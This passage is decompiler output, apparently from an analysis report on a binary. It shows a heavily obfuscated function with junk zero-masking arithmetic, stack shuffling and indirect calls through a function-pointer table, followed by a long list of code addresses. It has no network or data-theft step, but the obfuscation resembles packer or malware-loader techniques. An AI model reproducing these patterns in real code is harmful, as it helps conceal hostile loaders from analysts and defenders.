								 *(_t726 - 0x10) = _t641;
								_t612 = _t610 & 0x00000000 ^ _t641 ^  *(_t726 - 0x10) ^  *(_t557 + 0x41c521);
								_t654 =  *(_t726 - 0x10);
								if(_t612 > _t515) {
									_t202 = _t557 + 0x41c8e1; // 0x41c8e1
									 *_t747 =  *_t747 & 0x00000000;
									 *_t747 =  *_t747 | _t202;
									_t203 = _t557 + 0x41c6e2; // 0x41c6e2
									 *_t747 = _t203;
									_t515 =  *((intOrPtr*)(_t557 + 0x41f064))( *(_t726 - 0x10), _t697);
								}
								 *(_t557 + 0x41c56c) =  *(_t557 + 0x41c56c) & 0x00000000;
								 *(_t557 + 0x41c56c) =  *(_t557 + 0x41c56c) ^ (_t726 & 0x00000000 | _t515);
								_t726 = _t726;
								 *_t747 =  *_t747 & 0x00000000;
								 *_t747 =  *_t747 + _t697;
								_t210 = _t557 + 0x41c266; // 0x41c266
								 *_t747 = _t210;
								_push( *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10), _t515));
								_pop( *_t213);
								_push( *(_t726 - 0x10));
								_pop( *_t215);
								_t714 =  *_t697;
								_t216 = _t557 + 0x41ce1f; // 0x41ce1f
								 *_t747 =  *_t747 & 0x00000000;
								 *_t747 =  *_t747 ^ _t216;
								_t519 =  *((intOrPtr*)(_t557 + 0x41f060))(_t714);
								 *(_t726 - 0x10) = 0;
								 *_t747 =  *_t747 ^ _t519;
								_t220 = _t557 + 0x41c0ad; // 0x41c0ad
								 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
								 *_t747 =  *_t747 | _t220;
								_t521 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x14),  *(_t726 - 0x10));
								_pop( *_t225);
								_t614 = _t612 & 0x00000000 |  *(_t726 - 0x14);
								 *_t227 = _t521;
								 *(_t726 - 0x10) =  *(_t726 - 0x10) + _t614;
								_push( *(_t726 - 0x10));
								_pop(_t522);
								_t656 = _t654;
								 *(_t726 - 0x10) = _t714;
								_t616 = _t614 & 0x00000000 | _t714 & 0x00000000 ^  *(_t557 + 0x41c765);
								_t717 =  *(_t726 - 0x10);
								if(_t616 > _t522) {
									_t234 = _t557 + 0x41ce1f; // 0x41ce1f
									 *_t747 = _t234;
									_t236 = _t557 + 0x41c0ad; // 0x41c0ad
									 *_t747 =  *_t747 & 0x00000000;
									 *_t747 =  *_t747 | _t236;
									_t522 =  *((intOrPtr*)(_t557 + 0x41f064))(_t726,  *(_t726 - 0x14));
								}
								 *_t747 = _t656;
								 *(_t557 + 0x41c497) = 0 ^ _t522;
								_t659 = 0;
								 *_t747 = _t678;
								_t679 = _t717;
								_t718 = _t679 +  *(_t726 + 8);
								_t681 = 0;
								_t240 = _t557 + 0x41d159; // 0x41d159
								 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
								 *_t747 =  *_t747 ^ _t240;
								_t244 = _t557 + 0x41d213; // 0x41d213
								 *(_t726 - 0x10) = 0;
								 *_t747 =  *_t747 + _t244;
								_t525 =  *((intOrPtr*)(_t557 + 0x41f068))( *(_t726 - 0x10),  *(_t726 - 0x14));
								 *(_t726 - 0x14) = _t718;
								 *(_t557 + 0x41d182) =  *(_t557 + 0x41d182) & 0x00000000;
								 *(_t557 + 0x41d182) =  *(_t557 + 0x41d182) ^ (_t718 ^  *(_t726 - 0x14) | _t525);
								_t599 = _t616;
								_t255 = _t557 + 0x41c85c; // 0x41c85c
								 *_t747 =  *_t747 & 0x00000000;
								 *_t747 =  *_t747 | _t255;
								_t256 = _t557 + 0x41c10e; // 0x41c10e
								 *_t747 = _t256;
								_t528 =  *((intOrPtr*)(_t557 + 0x41f068))( *(_t726 - 0x14), _t659);
								 *(_t557 + 0x41ce00) =  *(_t557 + 0x41ce00) & 0x00000000;
								 *(_t557 + 0x41ce00) =  *(_t557 + 0x41ce00) | _t659 & 0x00000000 | _t528;
								_t662 = _t659;
								_push( *(_t726 - 0x14) + 2);
								_pop( *_t263);
								_push( *(_t726 - 0x14));
								_pop( *_t265);
								_t266 = _t557 + 0x41c9a3; // 0x41c9a3
								 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
								 *_t747 =  *_t747 ^ _t266;
								_t270 = _t557 + 0x41d1fa; // 0x41d1fa
								 *_t747 = _t270;
								_t531 =  *((intOrPtr*)(_t557 + 0x41f068))( *(_t726 - 0x14),  *(_t726 - 0x14));
								 *_t747 = _t662;
								 *((intOrPtr*)(_t557 + 0x41d0fe)) = _t531;
								_t647 = 0;
								_t697 = 0 ^  *_t747;
								_t744 =  &(_t747[1]);
								_t274 = _t557 + 0x41d0af; // 0x41d0af
								 *_t744 =  *_t744 & 0x00000000;
								 *_t744 =  *_t744 | _t274;
								_t275 = _t557 + 0x41ceae; // 0x41ceae
								 *_t744 = _t275;
								_t478 =  *((intOrPtr*)(_t557 + 0x41f068))( *(_t726 - 0x10), _t599);
								 *(_t726 - 0x10) = _t681;
								 *(_t557 + 0x41c8cd) =  *(_t557 + 0x41c8cd) & 0x00000000;
								 *(_t557 + 0x41c8cd) =  *(_t557 + 0x41c8cd) ^ _t681 -  *(_t726 - 0x10) ^ _t478;
								_t670 =  *(_t726 - 0x10);
							}
							 *(_t726 - 0x10) = _t559;
							_t562 =  *(_t726 - 0x10);
							_t312 = _t562 + 0x41cb0b; // 0x41cb0b
							 *(_t726 - 0x14) = 0;
							 *_t744 =  *_t744 | _t312;
							_t482 =  *((intOrPtr*)(_t562 + 0x41f060))( *(_t726 - 0x14));
							 *_t744 = _t482;
							_t317 = _t562 + 0x41cda5; // 0x41cda5
							 *_t744 = _t317;
							_t484 =  *((intOrPtr*)(_t562 + 0x41f060))( *(_t726 - 0x14),  *(_t726 - 0x10));
							_t745 = _t744 - 0xfffffffc;
							 *_t745 =  *_t745 ^ _t726;
							_t727 = _t484;
							_t485 = _t727 +  *_t744;
							_t729 = 0;
							 *(_t729 - 0x14) = _t697;
							_t602 =  *(_t562 + 0x41c96a);
							_t700 =  *(_t729 - 0x14);
							if(_t602 > _t485) {
								_t323 = _t562 + 0x41cb0b; // 0x41cb0b
								 *_t745 =  *_t745 & 0x00000000;
								 *_t745 =  *_t745 | _t323;
								_t324 = _t562 + 0x41cda5; // 0x41cda5
								 *(_t729 - 0x14) =  *(_t729 - 0x14) & 0x00000000;
								 *_t745 =  *_t745 | _t324;
								_t485 =  *((intOrPtr*)(_t562 + 0x41f064))( *(_t729 - 0x14), _t729);
							}
							 *_t329 = _t485;
							 *_t331 =  *(_t729 - 0x10);
							_t745[1] =  *(_t729 - 0xc);
							_t564 = _t562;
							_t334 = _t564 + 0x41cee2; // 0x41cee2
							 *_t745 = _t334;
							_t336 = _t564 + 0x41d33a; // 0x41d33a
							 *(_t729 - 0x14) = 0;
							 *_t745 =  *_t745 | _t336;
							_t488 =  *((intOrPtr*)(_t564 + 0x41f068))( *(_t729 - 0x14),  *(_t729 - 0x10), _t602);
							 *(_t564 + 0x41d1da) =  *(_t564 + 0x41d1da) & 0x00000000;
							 *(_t564 + 0x41d1da) =  *(_t564 + 0x41d1da) | _t700 -  *_t745 | _t488;
							_t703 = _t700;
							 *(_t729 - 0x10) = _t670;
							_t673 =  *(_t729 - 0x10);
							 *_t745 =  *_t745 - _t647;
							 *_t745 =  *_t745 ^ (_t488 & 0x00000000 | _t670 ^  *(_t729 - 0x10) |  *(_t729 - 4));
							_t348 = _t564 + 0x41d2b3; // 0x41d2b3
							 *_t745 =  *_t745 - _t647;
							 *_t745 = _t348;
							_t349 = _t564 + 0x41cb87; // 0x41cb87
							 *(_t729 - 0x10) =  *(_t729 - 0x10) & 0x00000000;
							 *_t745 =  *_t745 + _t349;
							_t493 =  *((intOrPtr*)(_t564 + 0x41f068))( *(_t729 - 0x10), _t647, _t647);
							 *(_t729 - 0x10) = _t602;
							 *(_t564 + 0x41cf9a) =  *(_t564 + 0x41cf9a) & 0x00000000;
							 *(_t564 + 0x41cf9a) =  *(_t564 + 0x41cf9a) | _t602 ^  *(_t729 - 0x10) | _t493;
							_t605 =  *(_t729 - 0x10);
							_t746 =  &(_t745[1]);
							 *(_t729 - 0x10) = 0;
							 *_t746 =  *_t746 ^  *_t745;
							_t363 = _t564 + 0x41c922; // 0x41c922
							 *(_t729 - 0x10) = 0;
							 *_t746 =  *_t746 | _t363;
							_t366 = _t564 + 0x41c97d; // 0x41c97d
							 *_t746 =  *_t746 & 0x00000000;
							 *_t746 =  *_t746 + _t366;
							_t498 =  *((intOrPtr*)(_t564 + 0x41f068))(_t605,  *(_t729 - 0x10),  *(_t729 - 0x10));
							 *(_t564 + 0x41cae1) =  *(_t564 + 0x41cae1) & 0x00000000;
							 *(_t564 + 0x41cae1) =  *(_t564 + 0x41cae1) | _t729 & 0x00000000 | _t498;
							_t726 = _t729;
							_t499 =  *((intOrPtr*)(_t564 + 0x41f050))();
							 *(_t726 - 0x14) = 0;
							 *_t746 =  *_t746 + _t499;
							_t375 = _t564 + 0x41c197; // 0x41c197
							 *(_t726 - 0x14) = 0;
							 *_t746 =  *_t746 | _t375;
							_t501 =  *((intOrPtr*)(_t564 + 0x41f060))( *(_t726 - 0x14),  *(_t726 - 0x14));
							 *(_t726 - 0x14) = 0;
							 *_t746 =  *_t746 | _t501;
							_t381 = _t564 + 0x41c46f; // 0x41c46f
							 *(_t726 - 0x14) = 0;
							 *_t746 =  *_t746 ^ _t381;
							_t503 =  *((intOrPtr*)(_t564 + 0x41f060))( *(_t726 - 0x14),  *(_t726 - 0x14));
							_pop( *_t385);
							_t607 = (_t605 & 0x00000000) +  *(_t726 - 0x10);
							 *_t387 = _t503;
							 *(_t726 - 0x14) =  *(_t726 - 0x14) + _t607;
							_push( *(_t726 - 0x14));
							_pop(_t504);
							_t566 = _t564;
							 *(_t726 - 0x10) = _t673;
							_t596 = _t607 & 0x00000000 ^ _t673 -  *(_t726 - 0x10) ^  *(_t566 + 0x41c9d0);
							_t670 =  *(_t726 - 0x10);
							if(_t596 > _t504) {
								_t395 = _t566 + 0x41c197; // 0x41c197
								 *_t746 =  *_t746 & 0x00000000;
								 *_t746 =  *_t746 + _t395;
								_t396 = _t566 + 0x41c46f; // 0x41c46f
								 *(_t726 - 0x10) = 0;
								 *_t746 =  *_t746 ^ _t396;
								_t504 =  *((intOrPtr*)(_t566 + 0x41f064))( *(_t726 - 0x10), _t703);
								 *(_t566 + 0x41cfe1) =  *(_t566 + 0x41cfe1) & 0x00000000;
								 *(_t566 + 0x41cfe1) =  *(_t566 + 0x41cfe1) | _t726 ^  *_t746 ^ _t504;
								_t726 = _t726;
							}
							_t744 =  &(_t746[1]);
							 *_t744 =  *_t744 ^ _t726;
							 *_t744 = _t703;
							 *_t744 = _t504 & 0x00000000 |  *_t746;
							_t509 = 0;
							 *_t744 = _t647;
							 *((intOrPtr*)( *((intOrPtr*)(_t726 - 8)))) = _t509;
							_t650 = 0;
							 *_t405 = _t726;
							 *_t744 = 4;
							_t510 = _t566;
							 *_t407 = 0 ^  *(_t726 - 0x14);
							 *(_t726 - 0x14) =  *(_t726 - 0x14) + _t510;
							_push( *(_t726 - 0x14));
							_pop(_t697);
							_t641 = _t650;
							 *_t412 =  *((intOrPtr*)(_t726 - 8));
							 *(_t726 - 0x10) =  *(_t726 - 0x10) + _t510;
							_push( *(_t726 - 0x10));
							_pop( *_t416);
							_t557 = _t566;
						} while ( *_t697 != 0);
						_t665 = _t670 + 0x14;
						_t686 = _t697;
						if( *_t665 != 0 ||  *(_t665 + 0x10) != 0) {
							if( *_t665 != 0) {
								goto L5;
							} else {
								_t10 = _t557 + 0x41d076; // 0x41d076
								 *(_t726 - 0x10) = 0;
								 *_t744 =  *_t744 | _t10;
								_t539 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10));
								 *(_t726 - 0x14) = _t686;
								 *(_t557 + 0x41d0ee) = 0 ^ _t539;
								_push( *(_t665 + 0x10));
								_pop( *_t18);
								_push( *(_t726 - 0x10));
								_pop(_t687);
								_t20 = _t557 + 0x41c2b0; // 0x41c2b0
								 *_t744 = _t20;
								_t541 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10));
								 *(_t557 + 0x41c1b3) =  *(_t557 + 0x41c1b3) & 0x00000000;
								 *(_t557 + 0x41c1b3) =  *(_t557 + 0x41c1b3) | _t726 ^  *_t744 | _t541;
								_t726 = _t726;
							}
							_t626 =  *_t740;
							 *_t740 =  *(_t665 + 0x10);
							_t47 = _t551 + 0x41c661; // 0x41c661
							 *_t740 =  *_t740 ^ _t726;
							 *_t740 =  *_t740 + _t47;
							_t430 =  *((intOrPtr*)(_t551 + 0x41f060))(_t622);
							 *_t740 = _t687;
							 *((intOrPtr*)(_t551 + 0x41d31e)) = _t430;
							_t690 = 0;
							 *_t50 = _t726;
							_t51 = _t551 + 0x41c5b3; // 0x41c5b3
							 *_t740 = _t51;
							_t432 =  *((intOrPtr*)(_t551 + 0x41f060))( *(_t726 - 0x10));
							 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
							 *_t740 =  *_t740 ^ _t432;
							_t57 = _t551 + 0x41c868; // 0x41c868
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 ^ _t57;
							_t434 =  *((intOrPtr*)(_t551 + 0x41f060))( *(_t726 - 0x14));
							 *_t59 = _t665;
							_t573 = 0 ^  *(_t726 - 0x10);
							 *_t61 = _t434;
							 *(_t726 - 0x14) =  *(_t726 - 0x14) + _t573;
							_push( *(_t726 - 0x14));
							_pop(_t435);
							_t667 = _t665;
							 *(_t726 - 0x14) = _t435;
							_t575 = _t573 & 0x00000000 ^ _t435 & 0x00000000 ^  *(_t551 + 0x41c633);
							_t438 =  *(_t726 - 0x14);
							if(_t575 > _t438) {
								_t68 = _t551 + 0x41c5b3; // 0x41c5b3
								 *_t740 = _t68;
								_t70 = _t551 + 0x41c868; // 0x41c868
								 *(_t726 - 0x10) =  *(_t726 - 0x10) & 0x00000000;
								 *_t740 =  *_t740 | _t70;
								_t438 =  *((intOrPtr*)(_t551 + 0x41f064))( *(_t726 - 0x10),  *(_t726 - 0x14));
							}
							 *(_t726 - 0x10) = _t626;
							 *(_t551 + 0x41c2a0) =  *(_t551 + 0x41c2a0) & 0x00000000;
							 *(_t551 + 0x41c2a0) =  *(_t551 + 0x41c2a0) | _t626 & 0x00000000 ^ _t438;
							_t629 =  *(_t726 - 0x10);
							 *(_t726 - 0x10) = _t551;
							_t554 =  *(_t726 - 0x10);
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 | _t438 & 0x00000000 | _t551 & 0x00000000 ^  *(_t726 + 8);
							_t84 = _t554 + 0x41c812; // 0x41c812
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 + _t84;
							_t85 = _t554 + 0x41ca65; // 0x41ca65
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 | _t85;
							_t443 =  *((intOrPtr*)(_t554 + 0x41f068))(_t575, _t690);
							 *(_t726 - 0x14) = _t667;
							 *(_t554 + 0x41d25f) =  *(_t554 + 0x41d25f) & 0x00000000;
							 *(_t554 + 0x41d25f) =  *(_t554 + 0x41d25f) ^ (_t667 -  *(_t726 - 0x14) | _t443);
							_t670 =  *(_t726 - 0x14);
							 *_t94 = _t575;
							 *_t740 =  *_t740 ^ _t690;
							_push( *((intOrPtr*)(_t726 - 8)));
							_pop(_t691);
							 *((intOrPtr*)(_t726 - 8)) = _t691 +  *(_t726 - 0x10);
							_t693 = 0;
							_t98 = _t554 + 0x41d15d; // 0x41d15d
							 *_t740 =  *_t740 - _t575;
							 *_t740 = _t98;
							_t99 = _t554 + 0x41c260; // 0x41c260
							 *(_t726 - 0x10) = 0;
							 *_t740 =  *_t740 | _t99;
							_push( *((intOrPtr*)(_t554 + 0x41f068))( *(_t726 - 0x10), _t575));
							_pop( *_t103);
							_push( *(_t726 - 0x10));
							_pop( *_t105);
							_push( *((intOrPtr*)(_t670 + 0xc)));
							_pop( *_t107);
							_push( *(_t726 - 0x14));
							_pop(_t576);
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 + _t576;
							_t109 = _t554 + 0x41ca52; // 0x41ca52
							 *_t740 =  *_t740 - _t554;
							 *_t740 =  *_t740 + _t109;
							_t449 =  *((intOrPtr*)(_t554 + 0x41f060))(_t554, _t554);
							 *(_t726 - 0x14) = _t629;
							 *(_t554 + 0x41cd09) =  *(_t554 + 0x41cd09) & 0x00000000;
							 *(_t554 + 0x41cd09) =  *(_t554 + 0x41cd09) | _t629 -  *(_t726 - 0x14) ^ _t449;
							_t632 =  *(_t726 - 0x14);
							_t741 = _t740 - 0xfffffffc;
							_push(0);
							 *_t741 =  *_t741 | _t449;
							_push( *_t740);
							_pop(_t450);
							 *_t741 = _t450 +  *(_t726 + 8);
							_t120 = _t554 + 0x41c07f; // 0x41c07f
							 *_t741 = _t120;
							_t454 =  *((intOrPtr*)(_t554 + 0x41f060))( *(_t726 - 0x10),  *(_t726 - 0x14));
							 *_t741 =  *_t741 - _t632;
							 *_t741 =  *_t741 | _t454;
							_t123 = _t554 + 0x41d248; // 0x41d248
							 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
							 *_t741 =  *_t741 | _t123;
							_t456 =  *((intOrPtr*)(_t554 + 0x41f060))( *(_t726 - 0x14), _t632);
							_t581 =  *_t741;
							_t742 =  &(_t741[1]);
							 *(_t726 - 0x10) = _t554;
							_push(_t581 + _t456);
							_t557 =  *(_t726 - 0x10);
							_pop(_t457);
							_t583 = _t581 & 0x00000000 ^ _t632 -  *_t742 ^  *(_t557 + 0x41d0e6);
							_t635 = _t632;
							if(_t583 > _t457) {
								_t131 = _t557 + 0x41c07f; // 0x41c07f
								 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
								 *_t742 =  *_t742 + _t131;
								_t135 = _t557 + 0x41d248; // 0x41d248
								 *(_t726 - 0x14) = 0;
								 *_t742 =  *_t742 | _t135;
								_t457 =  *((intOrPtr*)(_t557 + 0x41f064))( *(_t726 - 0x14),  *(_t726 - 0x14));
								 *(_t726 - 0x10) = _t693;
								 *((intOrPtr*)(_t557 + 0x41cd68)) = _t457;
								_t693 =  *(_t726 - 0x10);
							}
							_pop( *_t142);
							 *_t742 = _t583 & 0x00000000 ^  *(_t726 - 0x10);
							_t586 = _t693;
							_t694 = _t586 +  *(_t726 + 8);
							_t588 = 0;
							 *_t742 =  *_t742 & 0x00000000;
							 *_t742 =  *_t742 | _t588;
							_t145 = _t557 + 0x41d135; // 0x41d135
							 *_t742 = _t145;
							_t147 = _t557 + 0x41c60e; // 0x41c60e
							 *_t742 =  *_t742 & 0x00000000;
							 *_t742 =  *_t742 | _t147;
							_t460 =  *((intOrPtr*)(_t557 + 0x41f068))(_t588,  *(_t726 - 0x10), _t457);
							 *(_t726 - 0x14) = _t635;
							 *((intOrPtr*)(_t557 + 0x41c3e6)) = _t460;
							_t638 =  *(_t726 - 0x14);
							_t590 =  *_t742;
							_t743 = _t742 - 0xfffffffc;
							 *_t743 =  *_t743 - _t638;
							 *_t743 =  *_t743 ^ _t590;
							_t152 = _t557 + 0x41c220; // 0x41c220
							 *(_t726 - 0x14) = 0;
							 *_t743 =  *_t743 + _t152;
							_t462 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x14), _t638);
							 *(_t726 - 0x10) = _t590;
							 *(_t557 + 0x41cf1d) =  *(_t557 + 0x41cf1d) & 0x00000000;
							 *(_t557 + 0x41cf1d) =  *(_t557 + 0x41cf1d) ^ (_t590 ^  *(_t726 - 0x10) | _t462);
							_t463 =  *((intOrPtr*)(_t557 + 0x41f054))();
							 *(_t726 - 0x14) = 0;
							 *_t743 =  *_t743 + _t463;
							_t166 = _t557 + 0x41c49b; // 0x41c49b
							 *(_t726 - 0x10) = 0;
							 *_t743 =  *_t743 + _t166;
							_t465 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10),  *(_t726 - 0x14));
							 *(_t726 - 0x14) = _t694;
							 *(_t557 + 0x41c8aa) =  *(_t557 + 0x41c8aa) & 0x00000000;
							 *(_t557 + 0x41c8aa) =  *(_t557 + 0x41c8aa) | _t694 & 0x00000000 ^ _t465;
							_t697 =  *(_t726 - 0x14);
							_t744 = _t743 - 0xfffffffc;
							 *(_t726 - 0x10) = _t638;
							 *(_t726 - 4) =  *(_t726 - 4) & 0x00000000;
							 *(_t726 - 4) =  *(_t726 - 4) ^ _t638 -  *(_t726 - 0x10) ^ _t465 & 0x00000000 ^  *_t743;
							_t641 =  *(_t726 - 0x10);
							_t183 = _t557 + 0x41c279; // 0x41c279
							 *_t744 = _t183;
							_t185 = _t557 + 0x41d1ea; // 0x41d1ea
							 *_t744 =  *_t744 - _t697;
							 *_t744 = _t185;
							_t470 =  *((intOrPtr*)(_t557 + 0x41f068))(_t697,  *(_t726 - 0x14));
							 *(_t726 - 0x14) =  *(_t726 - 0x10);
							 *(_t557 + 0x41cbc5) = 0 ^ _t470;
							_t596 =  *(_t726 - 0x14);
							goto L11;
						}
						 *_t744 =  *_t744 ^ _t510;
						_t542 = _t510;
						return _t542;
					}
				}
			}

























































































































                                                                          0x00125378
                                                                          0x00125378
                                                                          0x00125378
                                                                          0x0012537e
                                                                          0x0012537f
                                                                          0x00125382
                                                                          0x00125385
                                                                          0x0012538b
                                                                          0x0012538c
                                                                          0x0012538f
                                                                          0x00125398
                                                                          0x00125399
                                                                          0x0012539d
                                                                          0x001253a0
                                                                          0x001253af
                                                                          0x001253b2
                                                                          0x001253b9
                                                                          0x001253ba
                                                                          0x001253bd
                                                                          0x001253be
                                                                          0x001253cb
                                                                          0x001253d0
                                                                          0x001253d9
                                                                          0x001253dd
                                                                          0x001253e6
                                                                          0x001253ed
                                                                          0x001253f0
                                                                          0x001253f0
                                                                          0x001253f7
                                                                          0x001253fd
                                                                          0x00125403
                                                                          0x00125403
                                                                          0x00125405
                                                                          0x0012540b
                                                                          0x0012540c
                                                                          0x00125413
                                                                          0x00125417
                                                                          0x0012541a
                                                                          0x00125421
                                                                          0x00125424
                                                                          0x00125427
                                                                          0x00125433
                                                                          0x0012543a
                                                                          0x00125440
                                                                          0x00125441
                                                                          0x00125445
                                                                          0x00125445
                                                                          0x00125448
                                                                          0x0012544f
                                                                          0x00125452
                                                                          0x00125455
                                                                          0x0012545d
                                                                          0x00125464
                                                                          0x0012546a
                                                                          0x0012546b
                                                                          0x0012546e
                                                                          0x00125477
                                                                          0x0012547a
                                                                          0x00125480
                                                                          0x00125487
                                                                          0x0012548a
                                                                          0x00125491
                                                                          0x00125495
                                                                          0x00125498
                                                                          0x001254a0
                                                                          0x001254a3
                                                                          0x001254aa
                                                                          0x001254ad
                                                                          0x001254b0
                                                                          0x001254b3
                                                                          0x001254b4
                                                                          0x001254b5
                                                                          0x001254c4
                                                                          0x001254c6
                                                                          0x001254cb
                                                                          0x001254cd
                                                                          0x001254d6
                                                                          0x001254d9
                                                                          0x001254df
                                                                          0x001254e6
                                                                          0x001254e9
                                                                          0x001254e9
                                                                          0x001254ef
                                                                          0x001254f7
                                                                          0x001254fe
                                                                          0x00125504
                                                                          0x00125507
                                                                          0x00125515
                                                                          0x00125519
                                                                          0x0012551d
                                                                          0x00125520
                                                                          0x00125527
                                                                          0x0012552b
                                                                          0x0012552e
                                                                          0x00125535
                                                                          0x00125539
                                                                          0x0012553c
                                                                          0x00125542
                                                                          0x0012554a
                                                                          0x00125551
                                                                          0x00125557
                                                                          0x0012555a
                                                                          0x00125562
                                                                          0x00125565
                                                                          0x00125568
                                                                          0x0012556b
                                                                          0x0012556e
                                                                          0x0012556f
                                                                          0x00125576
                                                                          0x00125579
                                                                          0x0012557c
                                                                          0x00125582
                                                                          0x0012558c
                                                                          0x00125595
                                                                          0x00125596
                                                                          0x00125599
                                                                          0x0012559c
                                                                          0x001255a2
                                                                          0x001255a5
                                                                          0x001255a8
                                                                          0x001255ab
                                                                          0x001255ad
                                                                          0x001255b1
                                                                          0x001255b4
                                                                          0x001255bb
                                                                          0x001255be
                                                                          0x001255c1
                                                                          0x001255c7
                                                                          0x001255cf
                                                                          0x001255d6
                                                                          0x001255dc
                                                                          0x001255e8
                                                                          0x001255eb
                                                                          0x001255ed
                                                                          0x001255f0
                                                                          0x001255f1
                                                                          0x001255fb
                                                                          0x001255fe
                                                                          0x00125607
                                                                          0x0012560a
                                                                          0x00125611
                                                                          0x00125614
                                                                          0x00125617
                                                                          0x0012561d
                                                                          0x00125624
                                                                          0x00125627
                                                                          0x0012562f
                                                                          0x00125632
                                                                          0x00125635
                                                                          0x0012563c
                                                                          0x0012563d
                                                                          0x00125640
                                                                          0x0012564e
                                                                          0x00125650
                                                                          0x00125653
                                                                          0x00125655
                                                                          0x0012565b
                                                                          0x00125662
                                                                          0x00125665
                                                                          0x0012566b
                                                                          0x00125675
                                                                          0x00125678
                                                                          0x0012567e
                                                                          0x00125685
                                                                          0x0012568b
                                                                          0x0012568b
                                                                          0x00125694
                                                                          0x0012569c
                                                                          0x001256a0
                                                                          0x001256a4
                                                                          0x001256a6
                                                                          0x001256a8
                                                                          0x001256ac
                                                                          0x001256af
                                                                          0x001256b8
                                                                          0x001256bb
                                                                          0x001256c2
                                                                          0x001256c6
                                                                          0x001256c9
                                                                          0x001256cf
                                                                          0x001256d6
                                                                          0x001256dc
                                                                          0x001256e1
                                                                          0x001256e4
                                                                          0x001256e8
                                                                          0x001256eb
                                                                          0x001256ee
                                                                          0x001256f4
                                                                          0x001256fe
                                                                          0x00125701
                                                                          0x00125707
                                                                          0x0012570f
                                                                          0x00125716
                                                                          0x0012571f
                                                                          0x00125725
                                                                          0x0012572f
                                                                          0x00125732
                                                                          0x00125738
                                                                          0x00125742
                                                                          0x00125745
                                                                          0x0012574b
                                                                          0x00125753
                                                                          0x0012575a
                                                                          0x00125760
                                                                          0x0012576c
                                                                          0x0012576f
                                                                          0x00125777
                                                                          0x0012577b
                                                                          0x0012577e
                                                                          0x00125781
                                                                          0x0012578a
                                                                          0x0012578d
                                                                          0x00125794
                                                                          0x00125797
                                                                          0x0012579a
                                                                          0x001257a0
                                                                          0x001257a7
                                                                          0x001257ad
                                                                          0x001257b0
                                                                          0x001257b0
                                                                          0x001257b6
                                                                          0x00125a4d
                                                                          0x00125a51
                                                                          0x00125a59
                                                                          0x00125a5c
                                                                          0x00125a5f
                                                                          0x00125a67
                                                                          0x00125a6e
                                                                          0x00125a74
                                                                          0x00125a75
                                                                          0x00125a7f
                                                                          0x00125a83
                                                                          0x00125a8d
                                                                          0x00125a91
                                                                          0x00125a94
                                                                          0x00125a9a
                                                                          0x00125aa1
                                                                          0x00125aa7
                                                                          0x00125aaa
                                                                          0x00125ab8
                                                                          0x00125abb
                                                                          0x00125ac5
                                                                          0x00125ac9
                                                                          0x00125acc
                                                                          0x00125ad2
                                                                          0x00125ada
                                                                          0x00125ae1
                                                                          0x00125ae7
                                                                          0x001257bc
                                                                          0x001257bc
                                                                          0x001257c3
                                                                          0x001257c6
                                                                          0x001257c9
                                                                          0x001257cf
                                                                          0x001257d9
                                                                          0x001257dc
                                                                          0x001257e3
                                                                          0x001257e6
                                                                          0x001257e9
                                                                          0x001257f5
                                                                          0x001257f8
                                                                          0x001257fd
                                                                          0x00125801
                                                                          0x00125804
                                                                          0x00125806
                                                                          0x00125807
                                                                          0x00125816
                                                                          0x00125818
                                                                          0x0012581d
                                                                          0x0012581f
                                                                          0x00125826
                                                                          0x0012582a
                                                                          0x0012582d
                                                                          0x00125836
                                                                          0x00125839
                                                                          0x00125839
                                                                          0x00125845
                                                                          0x0012584c
                                                                          0x00125852
                                                                          0x00125854
                                                                          0x00125858
                                                                          0x0012585b
                                                                          0x00125864
                                                                          0x0012586d
                                                                          0x0012586e
                                                                          0x00125871
                                                                          0x00125874
                                                                          0x0012587a
                                                                          0x0012587c
                                                                          0x00125883
                                                                          0x00125887
                                                                          0x0012588a
                                                                          0x00125890
                                                                          0x0012589a
                                                                          0x0012589d
                                                                          0x001258a3
                                                                          0x001258aa
                                                                          0x001258ad
                                                                          0x001258b9
                                                                          0x001258bc
                                                                          0x001258c3
                                                                          0x001258c6
                                                                          0x001258c9
                                                                          0x001258cc
                                                                          0x001258cd
                                                                          0x001258ce
                                                                          0x001258dd
                                                                          0x001258df
                                                                          0x001258e4
                                                                          0x001258e6
                                                                          0x001258ef
                                                                          0x001258f2
                                                                          0x001258f9
                                                                          0x001258fd
                                                                          0x00125900
                                                                          0x00125900
                                                                          0x00125908
                                                                          0x0012590f
                                                                          0x00125915
                                                                          0x00125918
                                                                          0x0012591c
                                                                          0x00125920
                                                                          0x00125922
                                                                          0x00125923
                                                                          0x00125929
                                                                          0x00125930
                                                                          0x00125933
                                                                          0x00125939
                                                                          0x00125943
                                                                          0x00125946
                                                                          0x0012594c
                                                                          0x00125954
                                                                          0x0012595b
                                                                          0x0012596f
                                                                          0x00125970
                                                                          0x00125977
                                                                          0x0012597b
                                                                          0x0012597e
                                                                          0x00125987
                                                                          0x0012598a
                                                                          0x00125996
                                                                          0x0012599d
                                                                          0x001259a3
                                                                          0x001259a4
                                                                          0x001259a5
                                                                          0x001259a8
                                                                          0x001259ab
                                                                          0x001259ae
                                                                          0x001259b4
                                                                          0x001259bb
                                                                          0x001259be
                                                                          0x001259c7
                                                                          0x001259ca
                                                                          0x001259d2
                                                                          0x001259d9
                                                                          0x001259df
                                                                          0x001259e2
                                                                          0x001259e5
                                                                          0x001259e8
                                                                          0x001259ef
                                                                          0x001259f3
                                                                          0x001259f6
                                                                          0x001259ff
                                                                          0x00125a02
                                                                          0x00125a08
                                                                          0x00125a10
